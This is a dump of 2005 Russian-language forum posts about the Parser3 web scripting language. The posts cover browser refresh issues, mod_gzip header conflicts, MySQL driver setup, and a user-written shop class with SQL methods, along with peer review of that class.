"40296","Да мне просто самому было интересно написать чат. И в принципе, написал. Несколько напрягает что получился чат для поклонников Оперы. Мне всё равно руководитель сказал снести его нафиг из портала, дабы не \"развращать\" окончательно студентов... Но как-то обидно, что такой удобная штука не пашет под IE, который юзает основная масса. В форуме-то у меня определяется браузер, ну и там уже или автоматом или ручками, не надорвутся."
"40297","Необходимо не загружая файл, проверить есть ли файл на сервере(тоесть не возвращает ли сервер ответ типа 404). Можно ли такое сделать на Parser? Главное, что если он существует, то файл загружать не надо. Спасибо."
"40299","Говорит:\
[Sat May 14 16:29:41 2005] [2740] /test/sqliter/index.par: D:/Inetpub/CERU/test/sqliter/index.par(7:2): 'C:\\tools\\parser/lib/parser3sqlite.dll' driver implements API version 0x0008 not equal to 0x0009 [<no type>]"
"40300","попробуйте в порядке научного эксперимента выдать refresh не на \"/\", а на \"http://server/\", посмотрите.\
\
и важно: перепроверьте 10 (десять) раз, что вы нигде ничего не проверяете, и выдаёте это в любой бразузер.\
\
для чего: спишите указанный код в файл redirect.html, и обратитесь к нему из браузера."
"40301","могу и я доработать."
"40302","Например, такой код:\
	[code]\
$perem(^math:random(9))\
Перезагрузка будет через $perem секунд\
$response:refresh[ \
   $.value($perem) \
   $.url[] \
] \
[/code]"
"40303","только я не пустоту в $.url[] пишу:\
[code]\
$perem(10)\
Перезагрузка будет через $perem секунд\
$response:refresh[ \
   $.value($perem) \
   $.url[/_t.html?a=^math:random(10)]\
]\
[/code]\
\
что-то ощущение что вы воду мутите или у вашего IE что-то с настройками нехорошо.\
\
P.S. [url=\"http://www.parser.ru/_t.html\"]клик[/url]"
"40306","а чего в настройках IE может быть не так?\
\
Не пашет \"клик\" под IE"
"40307","не пробовали посмотреть telnet-ом что до вас доходит? никакие прокси по пути не отрезают его у вас (например IE ходит через прокси а опера - без)? попробовать с другой машины? поковыряться в настройках вашего IE? наконец забить на refresh в header и написать его в meta..."
"40308","Дык даже на локалхосте не пашет, а там то какие прокси?\
\
А вот через meta попробую... Пасиб"
"40309","Если я правильно понял ошибка 4 это \"не найден pl скрипт\"? Если так, то я ничего не понимаю: уже пробовал писать пути до скрипта всеми известными мне способами - без результатов -(( Все время вместо критинки появляется \"4\". А каким образом можно запустить ImageMagik в обход .pl скрипта, если этот самый Magik у меня на хостинге вроде как установлен?"
"40310","Готового нет ничего...-( Все делаю с нуля... А если resize делать нескольким изображениям сразу при загрузке, то надо для каждой формы свой resize в обработке писать? Или можно как-нить 1ко всем припаять?"
"40311","http://www.parser.ru/forum/?id=31947"
"40313","## $.imPath - путь к скриптам ImageMagick\
А как хоть примерно должен выглядеть этот путь? Перерыл всю доку, доступную по хостингу и Cpanel, но так и не нашел..."
"40315","Для продвижения parser в народные, так сказать, массы, крайне необходима простая CMS система, позволяющая взять пользователю готовый форум, гостевую или еще что и вставить в свой сайт. А затем уже обработать это напильником под свои нужды. Судя по сообщениям на форуме, многие уже понимают это.\
Что нужно от такой CMS? Да ничего особенного - была бы возможность подключать модули с единой авторизацией, да ниавигацией, а остальное приложится.\
Не собираясь совершить революцию в parser-CMS строении, я решил идти по пути наименьшего сопротивления и просто взял Мишин класс авторизации, видоизменил его, и на его основе создал несложную систему для подключения модулей. Модули в системе опознаются и разделяются просто по директориям.\
API можно почитать здесь: http://sourceforge.net/docman/display_doc.php?docid=27525&group_id=122957\
Саму систему можно скачать здесь: http://sourceforge.net/projects/parser-blade/\
Желающие могут присоединиться. Лицензия GPL.\
P.S. Комментарии в исходном тексте и вообще вся система там в koi8-r. Извините."
"40316","http://www.sfa.dzerzhinska.net\
Пример сайта, сделанного на этой CMS, однако с текущей версией он не совместим. Особо пытливые заметят, что раздел навигации сделан прямо по учебнику."
"40317","Вопрос на засыпку :)\
\
Задача: Есть таблица с полем is_default, которое у всех записей равно нулю и только у одной равно единице. Когда ставим любой записи флаг is_default у всех остальных он должен сбрасываться.\
\
Вопрос: Можно ли как-нибудь извернувшись написать это одним запросом?\
\
У меня сейчас:\
\
[code]\
@setDefault[table;field;flag;where]\
^if(def $flag && ^flag.int(0) != 0){\
	^csql.void{\
		UPDATE\
			$table\
		SET\
			^if(def $field){$field}{is_default} = 0\
	}\
	^csql.void{\
		UPDATE\
			$table\
		SET\
			^if(def $field){$field}{is_default} = 1\
		WHERE\
			^if(def $where){$where}{id} = $flag\
	}\
}\
# end @setDefault[]\
[/code]"
"40318","Тока из сорцов ИМХО нада бинарник парсерный убрать :)"
"40319","Полтора месяца назад перевел сайт с пхп на парсер,  сейчас уже есть достаточно статистики что что-то не то посещаемость\\покупки упали. Последние каплей было сообщение от знакомой что сайт не открывается так как\
\"HTTP ответ, полученный от запрашиваемого сервера непонятен или изуродован. Обращайтесь к администраторам запрашиваемого сайта.\"\
\
Попросил народ потестить, у многих не открывается, симптомы :\
1.Для FF характерно что при попытки зайти на страницу 10 секунд тишина. потом только она загружается (правда у меня с FF все ок, но факты упрямая вещь)\
2. Выдает что не может открыть так как \"The HTTP Response message received from the contacted server could not be understood or was otherwise malformed. \"\
3. вот еще  вариант \
\
2005/05/15 13:47:42| WARNING: found two conflicting content-length headers in {Date: Sun, 15 May 2005 10:55:15 GMT\
\
Server: Apache/1.3.33 (Unix) mod_jk/1.2.8 mod_gzip/1.3.26.1a mod_auth_passthrough/1.8\
mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.11 FrontPage/5.0.2.2634a mod_ssl/2.8.22\
OpenSSL/0.9.7a\
\
content-length: 19781\
\
Keep-Alive: timeout=15, max=100\
\
Connection: Keep-Alive\
\
Content-Type: text/html; charset=UTF-8\
\
Content-Encoding: gzip\
\
Content-Length: 4775\
\
}\
\
сама страница на которой тестировалось - http://flashpaste.softvoile.com/download.php\
\
Есьт у кого идеи\\мысли ? а то очень все печально :("
"40320","[code]found two conflicting content-length headers\
...\
content-length: 19781\
...\
Content-Length: 4775[/code]\
\
есть подозрение что к безобразиям причастен mod_gzip, похожие сообщения уже проходили в форуме, тогда не разобрались, теперь ситуация более менее проясняется.\
\
Конфигурация \"глючных\" серверов обычно такая:\
\
Apache/1.3.33 (Unix) mod_gzip/1.3.26.1a mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.22 OpenSSL/0.9.7a PHP-CGI/0.1b\
\
Осталось разобраться - кто виноват и что делать... :)"
"40321","в .htaccess:\
[code]mod_gzip_on No[/code]"
"40322","Ни разу ничего подобного не вылезло. В HTTP-заголовках двойной content-length тоже не встретил. Там много всяких гугловых примочек рекламных, может они так или иначе глючат? Это вообще возможно?"
"40323","Минут 30 назад исправил вроде. \
Sergey M - благодарности, отключения mod_gzip_on No помогло."
"40324","Вот тут в процессе работы, всплывало :\
 \
1. ^rem{^connect }  - на этом парсер спотыкается, хотя по идее не должен :)\
\
2. Есть таблица на диске в файле, гружу ее в table, ищу строчки там через Locate, баг со строками содержашими # их не находит :(\
\
3. в хелпе есть коментарии начинающиеся не сначала строки, хотя их быть не должно, а жаль.\
\
4. Было бы неплохо в хелпе написать что в If(){ \"{\" должна прилегать, а то я по привычки перенес ее на следущую строку, и минут 20 не мог понять почему не работает кусок кода (первый день знакомства:) \
\
и еще интересно почему у table нет метода delete строку, и нет возможности записать произвольное значение в ячейку - намного же удобнее было бы ?\
\
надеюсь поможет."
"40325","[quot]...и нет возможности записать произвольное значение в ячейку...[/quot]\
\
[code]\
$table[^table::create{field1	field2}]\
$field1[первое произвольное значение]\
$field2[второе произвольное значение]\
^table.append{$field1	$field2}\
[/code]\
\
Или я не так понял?.."
"40326","Если выдаётся такая ошибка, значит путь указан неверно или на images.pl не назначены права 755."
"40327","1. ^rem{} - оператор парсера. чтобы до него дошло дело парсер должен успешно проверить синтаксис. у вашего примера синтаксис неверный. если вам нажно закомментировать строку с неверным синтаксисом - используйте # в начате строки.\
\
2. # - комментарий. эти строки просто не грузятся.\
\
3. ссылки плиз. будут ссылки - поправим.\
\
5. вы можете написать свой на парсере, если вам это нужно. однако лично мне за 3 года знакомства с ним этого не требовалось =)"
"40328","Подскажите, плз, парсерный код, взятый из базы, выполняться будет?"
"40330","Большое спасибо. Сам бы не нашел."
"40332","почему бы выкинуть это поле за забор, и сделать отдельную таблицу из одной колонки и одной записи с id вашей default записи?"
"40334","Только я сделаю не одно поле в таблице, а создам таблицу допустим global_settings состоящую из одной строки, а в каждой колонке буду хранить переменные, например default_language_id (то, что мне конкретно сейчас нужно) или что-нибудь еще (задел на будущее)"
"40335","1.согласен.\
\
2.Обалдеть просто :) хотя может просто ты меня не  понял, поясню\
есть таблица на диске список категорий программ\
Id	Pid	Folder	Name\
1	0	1	Audio & Multimedia\
2	0	1	Business\
............. \
там есть строчка (вернее была) содержашая #\
67	5	0	C &  C# & C++\
Я гружу эту таблицу с диска, и пытаюсь сделать locate[Name;C &  C# & C++] \
ненаходит - помомему это баг и баг не приятный\
\
3. chm->операторы-> Операторы в выражениях и их приоритеты ->Комментарии к частям выражения\
\
5. Помоему удаление строки и модификация значения ячейки - это базовая функциональность, котоая нужна.\
Где я на этом споткнулся, сразу оговорюсь  скорее всего я использовал не по назначению, но что поделаешь - изврашенец :)\
есть скрипт он грузит таблицу и ее обрабатывает, ввиду ограничений я вынужден разбивать работу на части. то есть первый раз обработать первые 100 записей, потом второые... в процессе работы мне нужны параметры 1. с какой строчки начинать. 2. сколько обработанно успешно, сколько непрошло по причине ххх, сколько по причине ууу...\
первое что пришло в голову сделать типа ини файла, таблицу вида\
name value\
StartFrom 300\
Failed        50 \
Done          225\
....\
читать, ее менять value и писать назад. К тому же в главную таблицу мне бы тоже флажки ставить, метить строки (таблица урлы, вот и метить бы их открылись\\не открылись..).. конечно можно было майскл использовать но с table и файлом на диске было нагляднее.. а некак. конечно проблему решил, через ... тернии. Но имхо необходимость менять значение в ячейке table переодически возникает.\
\
To [b]Wonder[/b] про append я знаю, меня интересовало менять значение уже в готовой таблице."
"40336","Я понимаю, что данный вопрос уже обсуждался сотни раз, но решения я так и не нашел.\
Прошу помочь.\
\
Код в корневом auto.p\
$SQL[\
$.drivers[^table::set{protocol	driver	client\
mysql	/home/www/mysite/cgi-bin/lib/libparser3mysql.so	/usr/lib/libmysqlclient.so\
}]\
]\
\
Ответ сервера:\
driver failed to initialize client library '/usr/lib/libmysqlclient.so', /usr/lib/libmysqlclient.so: cannot open shared object file: No such file or directory\
\
Вот что ответил хостер:\
Билиотека имеет чуть-чуть иное название:\
\
lrwxrwxrwx    1 root     root           24 Aug 19  2004 /usr/lib/libmysqlclient.so.10 -> libmysqlclient.so.10.0.0\
-rw-r--r--    1 root     root       217348 Aug 14  2004 /usr/lib/libmysqlclient.so.10.0.0"
"40337","однако мне представляется, что лучше сделать много отдельных.\
\
чтобы не смешивать разнородные вещи."
"40338","Предыдущий вопрос снят"
"40339","Почему же разнородные? Глобальные переменные и все."
"40340","2. да, я вас понял не так. но по моему вы не правы. у меня такой код возвращает 'found'\
[code]\
$a[^table::create{Id	Pid	Folder	Name\
1	0	1	Audio & Multimedia\
2	0	1	Business\
67	5	0	C & C# & C++}]\
\
^if(^a.locate[Name;C & C# & C++]){found}{not found}\
[/code]\
\
3. я думаю PAF прочитает и поправит при очередном апдейте.\
\
4. используйте для этого hashfile."
"40341","[quot]и еще интересно почему у table нет метода delete строку, и нет возможности записать произвольное значение в ячейку - намного же удобнее было бы ?[quot]\
\
Попробуйте хеш\
http://www.parser.ru/docs/lang/hashclass.htm\
http://www.parser.ru/docs/lang/hashdelete.htm\
http://www.parser.ru/docs/lang/\
...\
..\
."
"40342","Вот как я сделал: создал табличку settings и при необходимости ввести очередную глобальную переменную добавляю в этот табличке поле. И вот два метода, работающие с этой таблицей:\
\
[code]\
@setSettings[variable;value]\
^csql.void{\
	UPDATE\
		settings\
	SET\
		$variable = '$value'\
}\
# end @setSettings[]\
\
@getSettings[variable]\
$result[^csql.string{\
	SELECT\
		$variable\
	FROM\
		settings\
}[$.limit(1)$.default{0}]]\
# end @getSettings[]\
[/code]"
"40343","В метод ^картинка.text[...] не лишним было бы добавить параметр цвет. Который бы выполнял закрашивание каждого непрозрачного пикселя в шрифте на указанный цвет.\
\
Это дало бы интересную возможность писать разноцветными шрифтами без перерисовки гифчика."
"40345","в идеале программе должна быть максимум одна глобальная ;)"
"40346","а такие шрифты = некрасивое барахло."
"40347","То, что было в своё время выложено -- архив с dll-кой и кратким (3-строчным) описанием. Исходников не было. Жаль."
"40348","Эээ... прошу прощения, а где про это почитать?"
"40351","[color=\"ffffff\"]Читайте доки. Они рулят.[/color]"
"40352","Документацию :) Там же ясно написано:\
\
[quot]\
Допустимо использование комментариев к частям математического выражения, которые начинаются со знака #, и продолжаются до конца строки исходного файла или до конца выражения. \
[/quot]"
"40354","Есть вот такой вот простой кусок кода:\
[code]\
<form method=\"POST\" name=\"form2\" enctype=\"multipart/form-data\">\
<br>\
Картинка 1: <input type=\"file\" name=\"pict_1\" size=\"40\" /> \
<br><br>\
Картинка 2: <input type=\"file\" name=\"pict_2\" size=\"40\" /> \
<br><br>\
#Их таких много\
#А теперь обработка:\
^form:pict_1.save[binary;/images/store/$foto.id/${foto.id}_1.jpg]\
^form:pict_2.save[binary;/images/store/$foto.id/${foto.id}_2.jpg]\
#Полей обработки, соответственно тоже много.\
#Foto.id это id товара из БД к которому прилепливается загружаемая картинка.\
[/code]\
Ну так вот: на локальном компе под Денвером все это дело замечательно работает.\
Залил на хостинг, в итоге нормально отработало, наверное, 1 или 2 раза, а в остельные разы выдавало ошибки. Вот что было в логе:\
[Mon May 16 19:10:59 2005] /cars/add_foto/: /home/carsusa2/public_html/cars/add_foto/index.html(71:14): 'binary' unknown mode, must be 'append' [parser.runtime]\
или вариант №2:\
[Mon May 16 19:14:43 2005] /cars/add_foto/: /home/carsusa2/public_html/cars/add_foto/index.html(65:14): 'save' undefined method [parser.runtime]\
\
Маразм какой-то, помогите, плз..."
"40365","Мда проглядел. \
И с # тоже что-то странное - работает :) но я точно помню что когда наткнулся долго не могу понять в чем проблема, потом понял и даже эксперементировал в различных вариантах, помню что не работало, наверное меня глючило :)"
"40367","готов назвать десятки сайтов студии АЛГ где используются экранные безантиалиасинговые шрифты.\
\
В крайнем случае если цвет не указан можно использовать цвет по умолчанию."
"40369","много глобальных переменных = путаница.\
понятно, что Parser предполагает, что много чего будет в классе MAIN, т.е. суть глобально.\
до тех пор, пока количество переменных невелико, с этим вполне можно жить.\
\
однако базы данных такого не предполагают, наоборот, их куда удобнее вести развивать и share между проектами, когда мухи с котлетами лежат по отдельным таблицам.\
\
какая? [i]application[/i], конечно :)"
"40371","Писал на mailbox@parser.ru, но по чему-то без результатно.\
Пожалуйста, разместите сайт в раздел [b]в действии[/b].\
Очень буду благодарен.\
\
Автор контента: Семин Кирилл Вячеславович\
Сайт: [url=\"http://www.dasshoes.ru\"]http://www.dasshoes.ru[/url]\
Обратная ссылка: [url=\"http://www.dasshoes.ru/other.html\"]http://www.dasshoes.ru/other.html[/url]"
"40372","По сути, предложенный вами вариант (для одной переменной — одна таблица) тоже рождает путаницу.\
\
Ну а на счет количества глобальных переменных... У меня такая только одна :) Делаю многоязычный сайт и надо указывать какой язык у нас по умолчанию. Ну т.е. чтобы можно было ввести так: http://site.ru/news/ и вывелись новости на default языке, а если ввести http://site.ru/en/news/ — значит вывести на английском :)"
"40373","Кстати, HTML-верстка пишется через дефис ;)"
"40374","Почти, на самом деле AkelPad.exe(если б написал, никто не понял бы), входящий в состав TotalCommander'a. Но принципиально ни чем не отличающийся от Notepad.exe, кроме номеров строк и возможности сохранять в разных кодировках. \
Короче обучным текстовым редактором. :-)))"
"40375","Ну я тоже пишу Far-овским редактором конечно, но... Эта сточка выглядит как-то уж слишком пафосно. Лучше ее вообще не писать (все равно никому до этого нету дела). Имхо ;)"
"40376","?)"
"40377","что не FronPage'ем кам нибудь или Dreamwaver'ом"
"40380","можно со знаками препинания :)"
"40381","Ну в смысле тех, кто «разбирается», это отпугивает, кажется, что делает это все новичок, бьющий себя пяткой в грудь с диким волпем «Я — гуру!»\
\
:)\
\
Повторяю: имхо))"
"40382","Программист я как уже 5 лет.\
WEB-программист 2 года.\
Решать, плохой я или нет явно не мне. Как вы оцениваете сайт? (Делал полностью сам)"
"40383","Исходных кодов не видел, а так как вы программист, то оценивать нужно именно их ;)"
"40387","[code]\
@CLASS\
shop\
\
#место исполнения __ действие\
\
#Инициализируем класс, лог событий, пользователя, заодно и строку подключения к SQL\
@init[connect]\
$self.connect[$connect]\
$date_now[^date::now[]] \
$self.user_id[^math:md5[$env:REMOTE_ADDR $date_now.year $date_now.month $date_now.day]]\
$self.uuid[^math:uuid[]]\
$self.event[^table::create{event}]\
^self.event.append{is_init}\
\
\
#Создаем таблицы в текущей Базе Данных\
@install[]\
^connect[$self.connect]{\
^void:sql{CREATE TABLE `catalogue` (\
  `cat_id` bigint(20) NOT NULL auto_increment,\
  `level` bigint(20) NOT NULL default '0',\
  `name` text NOT NULL,\
  `description` text NOT NULL,\
  `price` int(11) NOT NULL default '0',\
  `photo_s` text,\
  `photo` text,\
  `vendor` text,\
  `art` text NOT NULL,\
  PRIMARY KEY  (`cat_id`)\
) TYPE=MyISAM}\
^void:sql{CREATE TABLE `basket` (\
  `bas_id` bigint(20) NOT NULL auto_increment,\
  `cat_id` bigint(20) NOT NULL default '0',\
  `quantity` int(11) NOT NULL default '0',\
  `user_id` varchar(36) NOT NULL default '',\
  PRIMARY KEY  (`bas_id`)\
) TYPE=MyISAM}\
^void:sql{CREATE TABLE `orders` (\
  `ord_id` bigint(20) NOT NULL auto_increment,\
  `user_id` text,\
  `contacts` text,\
  `date` timestamp(14) NOT NULL,\
  PRIMARY KEY  (`ord_id`)\
) TYPE=MyISAM}\
^self.event.append{is_install}\
}\
\
\
#Добавляем товар в корзину\
@bas_add[action;cat_id;quantity]\
^if($action eq \"add\"){\
^if(def $cat_id){\
^if(def $quantity){\
^connect[$self.connect]{\
^void:sql{INSERT INTO basket (cat_id, quantity, user_id) VALUES ('^taint[sql][$cat_id]', '^taint[sql][$quantity]', '^taint[sql][$self.user_id]')}\
^self.event.append{is_bas_add}\
}\
}\
}\
}\
\
\
#Удаляем товар из корзины\
@bas_del[action;bas_id]\
^if($action eq \"del\"){\
^if(def $bas_id){\
^connect[$self.connect]{\
^void:sql{DELETE FROM basket WHERE bas_id='^taint[sql][$bas_id]' AND user_id='^taint[sql][$self.user_id]'}\
^self.event.append{is_bas_del}\
}\
}\
}\
\
\
#Изменяем кол-во товара в корзине\
@bas_edit[action;bas_id;quantity]\
^if($action eq \"edit\"){\
^if(def $bas_id){\
^if(def $quantity){\
^connect[$self.connect]{\
^void:sql{UPDATE basket SET quantity='^taint[sql][$quantity]' WHERE user_id='^taint[sql][$self.user_id]' AND bas_id='^taint[sql][$bas_id]'}\
^self.event.append{is_bas_edit}\
}\
}\
}\
}\
\
\
#Показаваем содержимое корзины\
@bas_show[]\
^connect[$self.connect]{\
$basket[^table::sql{SELECT * FROM basket, catalogue WHERE catalogue.cat_id=basket.cat_id AND basket.user_id='^taint[sql][$self.user_id]'}]\
$result[$basket]\
^if(def $result){^self.event.append{is_bas_show}}\
}\
\
\
#Показываем каталог с учетом только подгруппы\
@cat_show[level]\
^if(def $level){\
^connect[$self.connect]{\
$catalogue[^table::sql{SELECT * FROM catalogue WHERE level LIKE '^taint[sql][$level]%'}]\
$result[$catalogue]\
^if(def $result){^self.event.append{is_cat_show}}\
}\
}\
\
\
#Показываем список заказов\
@ord_show[]\
^connect[$self.connect]{\
$orders[^table::sql{SELECT * FROM orders ORDER BY ord_id DESC}]\
$result[$orders]\
^if(def $result){^self.event.append{is_ord_show}}\
}\
\
\
#Показываем подробное описание товара\
@cat_info[cat_id]\
^if(def $cat_id){\
^connect[$self.connect]{\
$catalogue[^table::sql{SELECT * FROM catalogue WHERE cat_id='^taint[sql][$cat_id]'}]\
$result[$catalogue]\
^if(def $result){^self.event.append{is_cat_info}}\
}\
}\
\
\
#Показываем описание заказа\
@ord_info[action;ord_id]\
^if($action eq \"info\"){\
^if(def $ord_id){\
^connect[$self.connect]{\
$orders[^table::sql{SELECT * FROM basket, catalogue, orders WHERE catalogue.cat_id=basket.cat_id AND basket.user_id=orders.user_id AND orders.ord_id='^taint[sql][$ord_id]'}]\
$result[$orders]\
^if(def $result){^self.event.append{is_ord_info}}\
}\
}\
}\
\
\
#Оформляем заказ\
@bas_confirm[action;contacts]\
^if($action eq \"order\"){\
^if(def $contacts){\
^connect[$self.connect]{\
^void:sql{UPDATE basket SET user_id='$self.uuid' WHERE user_id='^taint[sql][$self.user_id]'}\
^void:sql{INSERT INTO orders (user_id, contacts) VALUES ('$self.uuid', '^taint[sql][$contacts]')}\
^self.event.append{is_bas_confirm}\
}\
}\
}\
\
\
#Обработка событий\
@events[]\
$result[$self.event]\
[/code]"
"40389","Я уже все нашел, спасибо."
"40390","Как тебе класс, интересный ход мыслей?"
"40392","Почему бы не передавать классу объект SQL из примеров?\
\
[code]\
@init[params]\
# нам ОБЯЗАТЕЛЬНО должны должны передать объект, через который будут делаться все sql-запросы\
^if(def $params.csql){\
	$csql[$params.csql]\
}{\
	^throw[shop;Initialization failure. ^$.csql option MUST be specified.]\
}\
# end @init[]\
\
# непосредственно место, откуда происходит инициализация класса:\
@USE\
mysql.p\
shop.p\
\
@auto[]\
$SQL.connect-string[mysql://user:password@server/table]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
^MAIN:pSQL.server{\
	$shop[\
		^shop::init[\
			$.csql[$MAIN:pSQL]\
		]\
	]\
}\
# end @auto[]\
[/code]\
\
Теперь подключение будет происходить так:\
\
[code]\
@install[]\
^csql.void{\
	CREATE TABLE [b]IF NOT EXISTS[/b] ...\
}\
# end @install[]\
[/code]\
\
Дальше, зачем проверять чему равен action:\
(можно сделать это при вызове метода)\
\
[code]\
^if($action eq \"add\"){\
^if(def $cat_id){\
^if(def $quantity){\
^connect[$self.connect]{\
^void:sql{INSERT INTO basket (cat_id, quantity, user_id) VALUES ('^taint[sql][$cat_id]', '^taint[sql][$quantity]', '^taint[sql][$self.user_id]')}\
^self.event.append{is_bas_add}\
}\
}\
}\
}\
\
############################\
\
@bas_add[cat_id;quantity]\
^if((def $cat_id && ^cat_id.int(0) != 0) && (def $quantity && ^quantity.int(0) != 0)){\
	^csql.void{\
		INSERT INTO\
			basket (\
				cat_id,\
				quantity,\
				user_id\
			)\
		VALUES (\
			$cat_id,\
			$quantity,\
			$self.user_id\
		)\
		^rem{ *** Не нужно делать никаких taint-ов, парсер их сам сделает при работе с базой *** }\
		^rem{ *** К тому же если мы вставляем только цифры - что тэйнтить? *** }\
	}\
}\
# end @bas_add[]\
\
Ну и остальные методы по анологии вроде бы. Это то, что бросилось. Да, кстати, зачем объявлять перепенные как $self.[переменная]?.. Пусть они и остаются внутри класса.\
[/code]"
"40394","Работать с базой данных гораздо удобнее через Мишин класс (http://www.parser.ru/examples/comp/), у него, кстати, есть поддержка кэширования sql-запросов. :) И вообще много интересного, очень советую ;)"
"40395","1.Метод [b]install[/b] был только для переноса с локалки на хост.\
(запускается всего доин раз из отдельного файла, затем файл удаляется)\
2.Я люблю четкость кода. Через пару месяцев так будет проще разобраться, а не переписовать заново. :)\
3.По поводу цифр: Как можно не тейнтить, если пользователь через коммандную строку тебе такого понапишет... Мой сайт уже так тестили, видно было что думали на PHP или Perl делал. Они мне те и те комманды по очереди пихали.\
4.Зачем подгружать 2 класса, когда можно обойтись одним"
"40397","А что, я его туда положил? УПС. :)"
"40398","1. Тогда и метод имеет смысл написать в этот самый файл. Иначе зачем он каждый раз вместе с классом будет грузиться если он не нужен?\
\
2. Это скорее дело привычки. Хотя я уверен, что уже через пару месяцев ты будешь писать иначе ;)\
\
3. Значит нужно проверять на цифру или не цифру. Taint в sql-запросах делается сам (именно ^taint[sql]...):\
\
[code]\
^if(def $var && ^var.int(0) != 0){...}\
[/code]\
\
4. Зачем писать интернет-магазин, когда можно продавать с лотка? :)"
"40400","Класс работает на страницах:\
1.[url=\"http://www.dasshoes.ru/catalogue.html\"]Каталог[/url]\
2.[url=\"http://www.dasshoes.ru/basket.html\"]Корзина[/url]\
3.[url=\"http://www.dasshoes.ru/info.html\"]Инфо[/url]\
4.Обработка заказов\
\
Я вырос на TurboPascal'e и его собрате Delphi(писать по другому не стану)\
\
С \"лотка\" и так продаю, точнее в павильоне(ул. Холодильный пер. д3 пав. 53 \"Немецкая обувь\")"
"40401","Взять там же. И бинарник выкинул :)"
"40402","Да, были мечты: движок для сайта универсальный для всех платформ, но...\
Класс у меня занял минут 15 чистого времени, еще минут 5 для оформления.\
Создать новый дело получаса.\
Главное - это [b][color=\"#FF0000\"]А Л Г О Р И Т М Ы[/code][/b]"
"40403","При добавлении заказа в корзину... Форма обратной связи странна :) Почему все это в одном поле textarea, а не разбито четыре <input type=\"text\"... /> и один <textarea></textarea> ?.."
"40404","Зачем делать много инпут-текстов,\
Если клиент не введет скажем телефона, то просто-напросто заказ ему не доставят.(позвонить то некому)\
Здесь проверка не программного уровня, а [b]интелектуального![/b]\
А такой подход очень упрощает программирование в Инете."
"40405","[url=\"http://www.mvsholding.com/ru/shop/\"]MVS HOLDING[/url]"
"40406","Эх... Дизайн спасет мир (с) http://www.artlebedev.ru/"
"40410","http://www.google.com/search?hl=en&q=mod_auth_mysql\
\
Паффтаряю: модуль для авторизации apache через базу данных mysql называется mod_auth_mysql\
\
Если не знаешь - фиг че найдешь. А так легко находится.\
\
Кстати, дяденьки-отцы, вы уж не ругайтесь, но я вас попрошу на вопрос ответить. В какую сторону думать по поводу выдергивания юзера из такой авторизации?"
"40413","http://www.parser.ru/forum/?terms=auth+user&search_in_message=1&author=paf&doSearch=1"
"40414","Редактор для парсерного  кода, написаный господином Darthman ?\
недавно вспомнил что такй был, начал его искать. Думал, что может в нем чего дописали и он стал уже совсем пригодным для использования. а по ссылке www.rpro.ru/inescapable.rar уже ничего нет.\
Жаль. Хорошее было начало."
"40415","Большое спасибо.\
\
[url=\"http://www.parser.ru/forum/?id=26862\"]http://www.parser.ru/forum/?id=26862[/url]\
[url=\"http://www.parser.ru/forum/?id=16185\"]http://www.parser.ru/forum/?id=16185[/url]\
\
Это финиш?\
У меня действительно код\
\
[code]sdfgsd\
$env:REMOTE_USER\
dsgsg[/code]\
\
выдает\
sdfgsd dsgsg \
\
Апач второй.\
Парсер троечка. \
printenv.pl REMOTE_USER не видит =(\
\
Кстати, на гугле нашел следующее:\
[url=\"http://forums.devshed.com/t62794/s.html\"]http://forums.devshed.com/t62794/s.html[/url]\
\
На форуме порылся, ничего толком не нашел или умом не дошел.\
Есть подсказки? =(\
\
[code]$env:REMOTE_USER\
$env:SERVER_ADDR\
$env:SERVER_SOFTWARE[/code]\
\
Пишет две вторых переменных, а REMOTE_USER не отдает. =(\
"
"40416","[url=\"http://issues.apache.org/bugzilla/show_bug.cgi?id=10678\"]http://issues.apache.org/bugzilla/show_bug.cgi?id=10678[/url]\
\
Если заменить на REDIRECT_REMOTE_USER, то (у меня) работает.\
\
Правда, теперь какая-то свистопляска с кодировкой пароля и базы."
"40417","драйвер был под парсер 3.1.3, под 3.1.4 может выдавать ошибку..."
"40418","под вин?"
"40419","На форуме rpro - сказали проект временно заморожен а исходники выдать не хотят."
"40420","в чем разница? в чем преимущества парсера перед asp?"
"40425","тема закрыта."
"40426","Именно! Дело, похоже, в версиях!\
\
Проверка 3 машин показала, что там, где парсер 3.1.3 -- работает, там, где 3.1.4 -- нет.\
\
А были бы исходники -- make и, скоре всего, всё работает снова...\
\
С автором нельзя ли связаться, исходники могут быть открыты?"
"40428","Думаю над темой, движок реализован по типу Мишиного engine, соответсвенно сначала всё собирается в xml потом натравливается xsl и результат кэшируется...\
\
Но я вот что-то не пойму как быть в кэшированием если например применить тот же класс аутентификации, или например будет динамический блок корзины покупателя.... Тогда получается никакого кэширования выхода уже не сделать?\
\
Подкиньте мыслей умные люди!?"
"40431","Есть такой код:\
[code]\
@random_file[path;sabj]\
$sabj<br>\
$pictures[^hash::create[]]\
$list[^file:list[$path]]\
^if($list){\
	^list.menu{\
		$subfolder[^file:list[$path/$list.name;.jpg]]\
			^if($subfolder){\
			<b>Найденные файлы:</b><br>\
				^subfolder.menu{\
					$subfolder.name<br>\
						^pictures.add[\
							$.[^subfolder.offset[]][^subfolder.name.trim[]]\
							]\
					}\
				}\
		}\
}\
$key(^math:random(^pictures._count[]))\
<b>Выбор:</b> ($key из ^pictures._count[])<br>\
$pictures.$key\
<br><br>\
<b>Хеш:</b><br>\
^pictures.foreach[key;value]{ \
        $key=$value \
}[<br>] \
[/code]\
\
Почему в хеше в конце оказываются файлы только из последного просмотренного каталога, а не все найденные?"
"40432","т.е. добавьте глобальный счетчик-ключ найденных файлов, и увеличивайте его после добавления записи в хеш.\
\
еще мысли: \
1. ^if($list){ - можно не делать. после list вы получите таблицу в любом случае. возможно она будет пуская, в этом случае menu просто ничего не сделает.\
2. в общем наверное можно не запихивать ручками файлы в хеш, а сделать что-либо в таком духе (после $subfolder[^file:list[...]]): ^pictures.add[^subfolder.hash{^math:uuid[]}]"
"40439","Взял второй вариант.\
Тогда как при заранее неизвестных ключах сделать выбор одного?\
Я как-то извиняюсь по-дурацки написал\
[code]\
$counter[^hash::create[]]\
$keys[^pictures._keys[]]\
^keys.menu{\
	^counter.add[$.[^keys.offset[]][$keys.key]]\
		}\
$key(^math:random(^keys.count[]))\
$counter.$key\
}\
[/code]\
На выходе получем типа 714B6E28-ACA7-4E6C-9BD6-F132B40516A6 и как это воткнуть в значение ключа $pictures.ключ?\
Хотя наверняка всё гораздо проще....?"
